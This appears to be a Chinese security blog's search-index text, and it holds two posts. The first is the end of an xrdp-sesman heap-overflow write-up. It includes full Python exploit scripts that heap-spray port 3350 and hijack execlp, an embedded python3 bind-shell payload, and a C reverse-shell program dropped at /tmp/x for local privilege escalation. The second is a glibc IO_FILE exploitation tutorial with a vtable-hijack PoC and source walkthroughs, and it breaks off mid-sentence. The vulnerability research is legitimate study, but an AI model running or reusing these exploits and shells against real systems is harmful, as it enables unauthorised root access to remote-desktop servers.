/usr/local/sbin/xrdp-sesman 0x403000 0x40b000 r-xp 8000 3000 /usr/local/sbin/xrdp-sesman 0x40b000 0x40f000 r--p 4000 b000 /usr/local/sbin/xrdp-sesman 0x40f000 0x410000 r--p 1000 e000 /usr/local/sbin/xrdp-sesman 0x410000 0x411000 rw-p 1000 f000 /usr/local/sbin/xrdp-sesman 0x65b000 0x6a7000 rw-p 4c000 0 [heap] 0x6a7000 0x6c8000 rw-p 21000 0 [heap]\n\n总共的堆内存大小为 0x6D000,考虑到堆一开始就有一部分被用于其他用途,笔者最终算出来的堆内存可用大小最多为 0x5b0b8,而堆的地址大概在 0x0300000~0x3500000\n\n这个数值是笔者在调试过程中根据印象猜出来的,实际还是要以源代码为准,但笔者在这里想要表达的意思是,强行堆喷的成功率不高,粗算一下大概是 0.7112884521484375%(原神单抽一个五星的感觉)\n\n但其实还不只是如此,因为强行堆喷需要布置的内容是参数+地址,大致结构如下:\nargs_str1 | args_str2 | args_str1_addr | args_str2_addr\n\n而您需要保证的是:\n\nself->in_s 能够指向 args_str1_addr-8\n以及 args_str1_addr 能够指向 args_str1\n\n如果您能够保证以上两点,args_str2_addr 由于可以通过偏移算出,因此几乎必中,to_read 参数也可以通过偏移算出,也能够保证几乎必中。\n但您也发现了,这需要碰撞两次地址,对本就不太容易成功的条件更是雪上加霜。看起来似乎需要优化一下堆喷的思路才能够完成。\n对堆喷思路的优化\n注:以下内容是笔者在尝试时的一种猜测,它没能成功,但笔者仍然写在这里,期望与各位师傅们探讨它的可行性。可能已经有过这样的技巧了,但作为一次学习记录,姑且写下吧。\n\n因为一开始我们是将输入的结构作为一个整体进行地址碰撞,但似乎可以拆分一下来提高成功率。\n结构一为:\nargs_str1 | args_str2\n\n结构二为:\nargs_str1_addr | args_str2_addr\n\n也就是说,将字符串和指向字符串的地址拆分开,分别用两个结构去填充内存。\n看起来似乎没有差别,但是由于 Glibc 管理的堆内存是一个线性结构,这意味着 args_str1 和 args_str1_addr 是可以有一个较为稳定的相对偏移的(这个偏移会浮动,但笔者认为浮动不大,只要字符串结构布置的足够密集,理论上会更容易命中一点)。\n那么情况就会变成:如果 self->in_s 命中了 args_str1_addr-8 ,那么, args_str1_addr 为 args_str1+offset ,理论上也有不小的概率能够命中。\n这么来看,似乎将本来需要碰撞两次的地址优化为了只 需要碰撞一次+一个中概率事件发生。\n\n在 16 个连接的条件下,由于堆的大小较小,因此笔者没能成功,但是如果我们调大了这块内存,允许建立大约 100 个连接左右的情况下,堆的内存会骤增。笔者最后测试的结果大约是 10% 左右的碰撞命中率。\n\nimport socketimport structimport timedef pack_addr(): sdata=b"python3\\x00-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\\"\\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\\"sh\\");\\x00" return sdatadef pack_addr2(): sdata = b"\\xf0\\x93\\x0a\\x02\\x00\\x00\\x00\\x00" sdata = b"\\xf8\\x93\\x0a\\x02\\x00\\x00\\x00\\x00" return sdatas = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",3350))# padding args_strcon_list=[0]*300for i in range(14): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize con_list[i].send(sdata) sdata = pack_addr()*0xd0 con_list[i].send(sdata)con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[14].connect(("127.0.0.1",3350))con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[15].connect(("127.0.0.1",3350))x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)x.connect(("127.0.0.1",3350))# padding args_str_addrcon_list2=[0]*300def heap_spary(x,y): for i in range(x,y): con_list2[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list2[i].connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize con_list2[i].send(sdata) sdata = pack_addr2()*0x3f0 con_list2[i].send(sdata) time.sleep(0.05)heap_spary(0,50)heap_spary(50,100)heap_spary(100,150)#init streamsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)con_list[15].send(sdata)sdata = b'D'*0x10con_list[15].send(sdata)# heap_overflowsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += struct.pack(">I",0x80000000)con_list[14].send(sdata)sdata = b'C'*0x4140+b"\\xb1\\x02\\x00\\x00\\x00\\x00\\x00\\x00"+b"/tmp/x\\x00\\x00"+b"\\x01\\x00\\x00\\x00"*2sdata+=b"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x93\\x3a\\x02\\x00\\x00\\x00\\x00"sdata+=b"P"*0x240+b"\\xf0\\x3b\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x3a\\x40\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x64\\x54\\x40\\x00\\x00\\x00\\x00\\x00"con_list[14].send(sdata)# trigger execlpsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += b"\\x58\\x01\\xda\\x00\\x00\\x00\\x00\\x00" #headersizecon_list[15].send(sdata)\n\n大致的 exp 如上,先将参数打入到堆内存的首部,然后再往之后的堆内存里去堆字符串的地址。最后在覆盖 self->in_s 时候用一个堆地址去撞。\n第二法与例外在堆喷失败以后,笔者又试了一下其他的方法,最终认为,如果我们只需要在本机上进行提权,完全不需要这么麻烦去构造一个 execlp 的调用链。\n首先,我们可以先写一个用于反弹 shell 的程序,用静态编译的方法将其编译到 ”/tmp/x“:\n#include <stdio.h>#include<stdlib.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#include <fcntl.h>#include <netinet/in.h>#include <arpa/inet.h>#include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#include <fcntl.h>#include <netinet/in.h>#include <netdb.h>char shell[]="/bin/sh";char message[]="hi hacker welcome";int sock;int main(int argc, char *argv[]) {\tstruct sockaddr_in server;\tif((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\tprintf("Couldn't make socket!n"); exit(-1);\t}\tserver.sin_family = AF_INET;\tserver.sin_port = htons(atoi("10000"));\tserver.sin_addr.s_addr = inet_addr("0.0.0.0");\tif(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {\tprintf("Could not connect to remote shell!n");\t//exit(-1);\t//\treturn -1;\t\texit(-1);\t}\tsend(sock, message, sizeof(message), 0);\tdup2(sock, 0);\tdup2(sock, 1);\tdup2(sock, 2);\texecl(shell,"/bin/sh",(char *)0);\tclose(sock);\treturn 1;\t}\tvoid usage(char *prog[]) {\tprintf("Usage: %s <reflect ip> <port>\\n", prog);\t//exit(-1);\t//\treturn -1;\t\texit(-1);}\n\n接下来我们令服务调用如下函数:\n#include<stdlib.h>#include <errno.h>#include <stdio.h>int main(){\tint a=execlp("/tmp/x",0,0,(void*)0);\treturn 0;}\n\n后两个参数是完全随意的,不管是什么,只要是合法参数都行,或者:\n#include<stdlib.h>#include <errno.h>#include <stdio.h>int main(){\tint a=execvp("/tmp/x",0);\treturn 0;}\n\n对于 execlp 的情况,由于服务中使用的实际上是 g_execlp3 ,因此我们需要保证第二和第三个参数是可解析的,只要它们是可解析的,那么为任意值都行。\n而对于第二个情况,我们只需要令第二个参数为 0 即可,不过在该服务中,其实际实现如下:\nintg_execvp(const char *p1, char *args[]){ int rv; char args_str[ARGS_STR_LEN]; int args_len; args_len = 0; while (args[args_len] != NULL) { args_len++; } g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len); LOG(LOG_LEVEL_DEBUG, "Calling exec (excutable: %s, arguments: %s)", p1, args_str); g_rm_temp_dir(); rv = execvp(p1, args); /* should not get here */ LOG(LOG_LEVEL_ERROR, "Error calling exec (excutable: %s, arguments: %s) " "returned errno: %d, description: %s", p1, args_str, g_get_errno(), g_get_strerror()); g_mk_socket_path(0); return rv;#endif}\n\n self->in_s->end 为 0 将会失败,因为 args[args_len] 会引用错误的地址。因此最好的办法是找一个地方,让 self->in_s->end 能够指向 0 。\n这似乎是有可能实现的,而且即便我们找不到任何指向 0 的指针,只要能有一片连续的地址保持如下结构就行了:\naddr1 | addr2 | addr3 | 0\n\n甚至于,直接尝试堆喷去撞那个将近 1% 的概率似乎也不是不能接受。\n加之第一个参数是稳定控制的,尽管能写的字符数不多,但 ”/tmp/x“ 总共也不到八字节,绰绰有余。\n这么一看,似乎对参数就有很多余裕了,只要参数符合调用规则,任意参数都可以。因此接下来就只剩下找到一个合适的地址作为参数去构造了。\n最后的 EXP 结构大致如下:\nimport socketimport structimport timedef pack_addr2(): sdata = b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00" return sdatas = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("127.0.0.1",3350))con_list=[0]*300for i in range(12): con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM) con_list[i].connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) sdata += struct.pack(">I",0x80000000) con_list[i].send(sdata) sdata = pack_addr2()*0x3f0 con_list[i].send(sdata) time.sleep(0.05)con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[14].connect(("127.0.0.1",3350))con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)con_list[15].connect(("127.0.0.1",3350))x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)x.connect(("127.0.0.1",3350))# init streamsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[15].send(sdata)sdata = b'D'*0x10con_list[15].send(sdata)# heap overflowsdata = b''sdata += struct.pack("I",0x2222CCCC) #versionsdata += struct.pack(">I",0x80000000) #headersizecon_list[14].send(sdata)sdata = b'C'*0x4140+b"\\xb1\\x02\\x00\\x00\\x00\\x00\\x00\\x00"+b"/tmp/x\\x00\\x00"+b"\\x01\\x00\\x00\\x00"*2sdata+=b"\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x00\\x00\\x00\\x7f\\x00\\x00\\x00\\x00"+b"\\xba\\xc9\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x93\\x3a\\x02\\x00\\x00\\x00\\x00"sdata+=b"P"*0x240+b"\\xf0\\x3b\\x40\\x00\\x00\\x00\\x00\\x00"+b"\\xf0\\x3a\\x40\\x00\\x00\\x00\\x00\\x00"sdata+=b"\\x64\\x54\\x40\\x00\\x00\\x00\\x00\\x00"con_list[14].send(sdata)# trigger execlpsdata = b''sdata += struct.pack("I",0x2222CCCC)sdata += b"\\x58\\x01\\xda\\x00\\x00\\x00\\x00\\x00"con_list[15].send(sdata)\n\n\n这个 exp 可能是不通的,因为我选了用 execlp 去完成。主要是做到这一步之后,我感兴趣的部分已经全都完成了,所以差不多就停了,并且本文也已经写完了。\n如果读者对 execvp 的方案感兴趣,也可以自行尝试一下。\n\n","categories":["Note","漏洞挖掘"],"tags":["漏洞挖掘"]},{"title":"零基础要如何破除 IO_FILE 利用原理的迷雾","url":"/2022/09/20/%E9%9B%B6%E5%9F%BA%E7%A1%80%E8%A6%81%E5%A6%82%E4%BD%95%E7%A0%B4%E9%99%A4-IO-FILE-%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86%E7%9A%84%E8%BF%B7%E9%9B%BE/","content":"前言好久以前,在我完成 Glibc2.23 的基本堆利用学习以后,IO_FILE 的利用就被提上日程了,但苦于各种各样的麻烦因素,时至今日,我才终于动笔开始学习这种利用技巧,实属惭愧。\n近几年,由于堆利用的条件越来越苛刻,加之几个常用的劫持 hook 被删除,IO 的地位逐渐有超过堆利用的趋势,因此为了跟上这几年的新潮,赶紧回来学习一下 IO 流的利用技巧。\n如果本文存在任何错误,请务必与我联系。\n最开始是打算跟着内核去看 IO_FILE 的,但是最近内核的学习暂时搁置了,于是迫不得已现在就开始学 IO 了,不过也还好,这部分内容跟着其他师傅的文章去学,似乎也不会太成问题,有问题就是我的问题。而且主要涉及到的内容其实和内核无关,都是些 GLIBC 的源代码,这部分其实还在用户层,不过大多数利用都在通过 largebin attack 进行,因此可能还是需要一部分的堆利用基础的。\n\n不过下文大多数情况都建立在读者已经理解 largebin attack 的前提下进行,其具体只表现为 “任意地址写一个堆地址”,因此以笔者个人认为,即便不明白其对应的利用原理,只要知道能够完成一次任意地址读写,就不会对之后的说明在理解上遇到障碍。\n\n本文的行文逻辑如下:\n\nIO_FILE 结构体和虚表调用逻辑\n虚表调用的跟踪分析\n低版本下,劫持虚表的利用原理\n对劫持虚表的保护原理分析\n高版本下,调用链劫持原理\n具体的利用手段\n\nIO_FILE 结构体首先是一个基本的结构体:\nstruct _IO_FILE_plus{ _IO_FILE file; const struct _IO_jump_t *vtable;};\n\n结构体成员包括一个用于描述文件各个属性的结构体和一个用于描述文件操作行为的跳转表指针。其中,文件属性通过 _IO_FILE 结构体描述:\nstruct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};\n\n且先不论整个结构体的各个成员的具体作用,这里仅记录几个较为重要的内容。\n来看看跳转表的行为:\nstruct _IO_jump_t{ JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue);#if 0 get_column; set_column;#endif};\n\n该跳转表定义了对文件执行相应操作时具体会使用的行为函数,例如 _IO_read_t 对应了 __read 虚函数,在生成该文件结构时,每个条目占用 8 字节,以具体的函数地址填充。\n简单来说,文件结构形式如下:\n\nGLIBC2.23 与 跳转表劫持#include <stdio.h>#include <stdlib.h>void pwn(void){ printf("Dave, my mind is going.\\n"); fflush(stdout);}void * funcs[] = { NULL, // "extra word" NULL, // DUMMY exit, // finish NULL, // overflow NULL, // underflow NULL, // uflow NULL, // pbackfail NULL, // xsputn NULL, // xsgetn NULL, // seekoff NULL, // seekpos NULL, // setbuf NULL, // sync NULL, // doallocate NULL, // read NULL, // write NULL, // seek pwn, // close NULL, // stat NULL, // showmanyc NULL, // imbue};int main(int argc, char * argv[]){ FILE *fp; unsigned char *str; str = malloc(sizeof(FILE) + sizeof(void *)); free(str); if (!(fp = fopen("/dev/null", "r"))) { perror("fopen"); return 1; } *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs; fclose(fp); return 0;}\n\n上述 POC 中通过 UAF 漏洞来劫持 fp 指针的指向。\n在打开一个文件时,系统会调用 malloc 来开辟对应的 _IO_FILE_plus ,而最后的跳转表为一个指针,通过修改改指针,可以令跳转表被劫持为自己设定的目标:\n*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;\n\n这部分的内容,其实我已经看过很多次,而每次都停在这里。各种各样的文章都会从这个版本开始,但实话实说,以今天的视点来看已经相当鸡肋了,似乎完全没必要在乎这个版本下劫持跳转表的利用方法,因为自 2.24 以来加入了保护,如今已经更迭了如此之多的版本,似乎没有太大意义了。\n细节与深入分析前问刚说没有太大意义,这一小节就开始深入分析了,这似乎显得有点矛盾。但笔者现在逐渐能够理解这其中的意义以及这条利用的艰辛了。\n\n尽管古早的利用已经距今久远,可是对于后来的人们,他们仍然需要从那遥远的旧版本开始前进。人们走得越远,后来的人们却仍要在同样的路上走相同的距离。(尽管现在总说,新的 apple 和 cat 能够通杀,但说实话,如果我没看过前面的利用,就不太能理解这两个新技巧了。)\n\n首先,不妨先用以下的代码来跟踪一下 IO_FILE 的创建流程和虚表的执行跳转:\n#include<stdio.h>int main(){ char data[20]; FILE*fp=fopen("toka","rb"); fread(data,1,20,fp); return 0;}\n\n首先我们将断点打在 fopen ,此时的 IO_FILE 如下:\ngdb-peda$ p _IO_list_all$8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>gdb-peda$ p stderr$10 = (struct _IO_FILE *) 0x7ffff7dd2540 <_IO_2_1_stderr_>gdb-peda$ p *_IO_list_all$9 = { file = { _flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps>}\n\n可以注意到,_IO_list_all 作为一个链表表头符号,记录了具体的 IO_FILE 地址,此时的第一个就是 stderr ,而剩余的文件通过 _chain 连接。\n而在打开第一个文件以后,此时的链表标头转为:\ngdb-peda$ p _IO_list_all$12 = (struct _IO_FILE_plus *) 0x602010gdb-peda$ p *_IO_list_all$11 = { file = { _flags = 0xfbad2488, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>, _fileno = 0x3, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x6020f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602100, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0 <_IO_file_jumps>}\n\n可以注意到,此地址来自于堆内存:\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x231, fd = 0xfbad2488, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602230 PREV_INUSE { prev_size = 0x7ffff7dd0260, size = 0x20dd1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n说明在为文件创建抽象实体的过程中,会申请堆内存来储存具体的结构体数据。\n接下来调用 fread ,其调用链如下:\nfread -> _IO_sgetn -> __GI__IO_file_xsgetn -> _IO_doallocbuf -> _IO_file_doallocate -> __underflow -> _IO_file_underflow\n\n其中,_IO_sgetn 作为前导函数,它会读取 vtable 中的对应值从而得到 __GI__IO_file_xsgetn 的函数地址,该函数作为具体实现。\n调用逻辑大致如下:\n\n而 _IO_doallocbuf 和 __underflow 也都是前导函数,用来调用虚表中的 _IO_file_doallocate 和 _IO_file_underflow 。\n用中文描述这个逻辑的意思大概是:\n\n通过 vtable 调用 __GI__IO_file_xsgetn 。如果此前已经为文件开辟过缓冲区,则继续;否则通过 _IO_file_doallocate 来开辟对应的缓冲区。如果缓冲区为空,则通过 _IO_file_underflow 将数据复制到缓冲区中;否则继续。最后将缓冲区中的数据拷贝到用户自己的缓冲区中。\n\n接下来我们跟一下源代码:\n_IO_size_t_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp){ _IO_size_t bytes_requested = size * count; _IO_size_t bytes_read; CHECK_FILE (fp, 0); if (bytes_requested == 0) return 0; _IO_acquire_lock (fp); bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); _IO_release_lock (fp); return bytes_requested == bytes_read ? count : bytes_read / size;}libc_hidden_def (_IO_fread)\n\n这段代码并没有太多内容。首先获得文件锁,然后调用 _IO_sgetn 进行读取,完成后释放锁,并返回读取的字节数。\n_IO_size_t_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n){ _IO_size_t want, have; _IO_ssize_t count; char *s = data; want = n; if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } else { if (have > 0) {#ifdef _LIBC s = __mempcpy (s, fp->_IO_read_ptr, have);#else memcpy (s, fp->_IO_read_ptr, have); s += have;#endif want -= have; fp->_IO_read_ptr += have; } /* Check for backup and repeat */ if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; } /* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */ if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; } /* These must be set before the sysread as we might longjmp out waiting for input. */ _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base); /* Try to maintain alignment: read a whole number of blocks. */ count = want; if (fp->_IO_buf_base) { _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; if (block_size >= 128) count -= want % block_size; } count = _IO_SYSREAD (fp, s, count); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN; break; } s += count; want -= count; if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); } } return n - want;}libc_hidden_def (_IO_file_xsgetn)\n\n通过如下判断确定缓冲区是否开辟:\nif (fp->_IO_buf_base == NULL)\n\n如果没有开辟则主动开辟:\nint_IO_file_doallocate (_IO_FILE *fp){ _IO_size_t size; char *p; struct stat64 st;#ifndef _LIBC /* If _IO_cleanup_registration_needed is non-zero, we should call the function it points to. This is to make sure _IO_cleanup gets called on exit. We call it from _IO_file_doallocate, since that is likely to get called by any program that does buffered I/O. */ if (__glibc_unlikely (_IO_cleanup_registration_needed != NULL)) (*_IO_cleanup_registration_needed) ();#endif size = _IO_BUFSIZ; if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0) { if (S_ISCHR (st.st_mode)) { /* Possibly a tty. */ if (#ifdef DEV_TTY_P DEV_TTY_P (&st) ||#endif local_isatty (fp->_fileno)) fp->_flags |= _IO_LINE_BUF; }#if _IO_HAVE_ST_BLKSIZE if (st.st_blksize > 0) size = st.st_blksize;#endif } p = malloc (size); if (__glibc_unlikely (p == NULL)) return EOF; _IO_setb (fp, p, p + size, 1); return 1;}libc_hidden_def (_IO_file_doallocate)\n\n缓冲区在此处通过堆内存来开辟:\np = malloc (size);\n\n然后最终再将其设置为缓冲区:\nvoid_IO_setb (_IO_FILE *f, char *b, char *eb, int a){ if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF)) free (f->_IO_buf_base); f->_IO_buf_base = b; f->_IO_buf_end = eb; if (a) f->_flags &= ~_IO_USER_BUF; else f->_flags |= _IO_USER_BUF;}libc_hidden_def (_IO_setb)\n\n在完成开辟以后尝试读取:\nwhile (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; }\n\n如果缓冲区中的余量尚且足够,那就可以直接将这部分数据拷贝到用户缓冲区;\n但如果不够,则需要进一步的处理:\n首先,如果缓冲区中还有数据,那就先把缓冲区中的所有内容写进用户缓冲区。\n else { if (have > 0) {#ifdef _LIBC s = __mempcpy (s, fp->_IO_read_ptr, have);#else memcpy (s, fp->_IO_read_ptr, have); s += have;#endif want -= have; fp->_IO_read_ptr += have; }\n\n接下来需要调用 __underflow 来获取新数据:\n/* Check for backup and repeat */if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; }/* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break; continue; }\n\n跟入进去可以找到对应的定义:\nint__underflow (_IO_FILE *fp){#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1) return EOF;#endif if (fp->_mode == 0) _IO_fwide (fp, -1); if (_IO_in_put_mode (fp)) if (_IO_switch_to_get_mode (fp) == EOF) return EOF; if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; } if (_IO_have_markers (fp)) { if (save_for_backup (fp, fp->_IO_read_end)) return EOF; } else if (_IO_have_backup (fp)) _IO_free_backup_area (fp); return _IO_UNDERFLOW (fp);}libc_hidden_def (__underflow)\n\n这整个函数做了很多检查,但最终是需要调用 _IO_UNDERFLOW 完成主要功能的,该函数也在 vtable 中:\nint_IO_new_file_underflow (_IO_FILE *fp){ _IO_ssize_t count; if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } _IO_acquire_lock (_IO_stdout); if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF))_IO_OVERFLOW (_IO_stdout, EOF); _IO_release_lock (_IO_stdout);#endif } _IO_switch_to_get_mode (fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr;}libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)\n\n代码并不复杂,简单来说就做这么一件事:\n\n首先经过 flag 的检查之后,如果缓冲区未建立,则用 _IO_doallocbuf 创建缓冲区;接下来,设定读取和写入的指针界限;再然后通过 _IO_SYSREAD 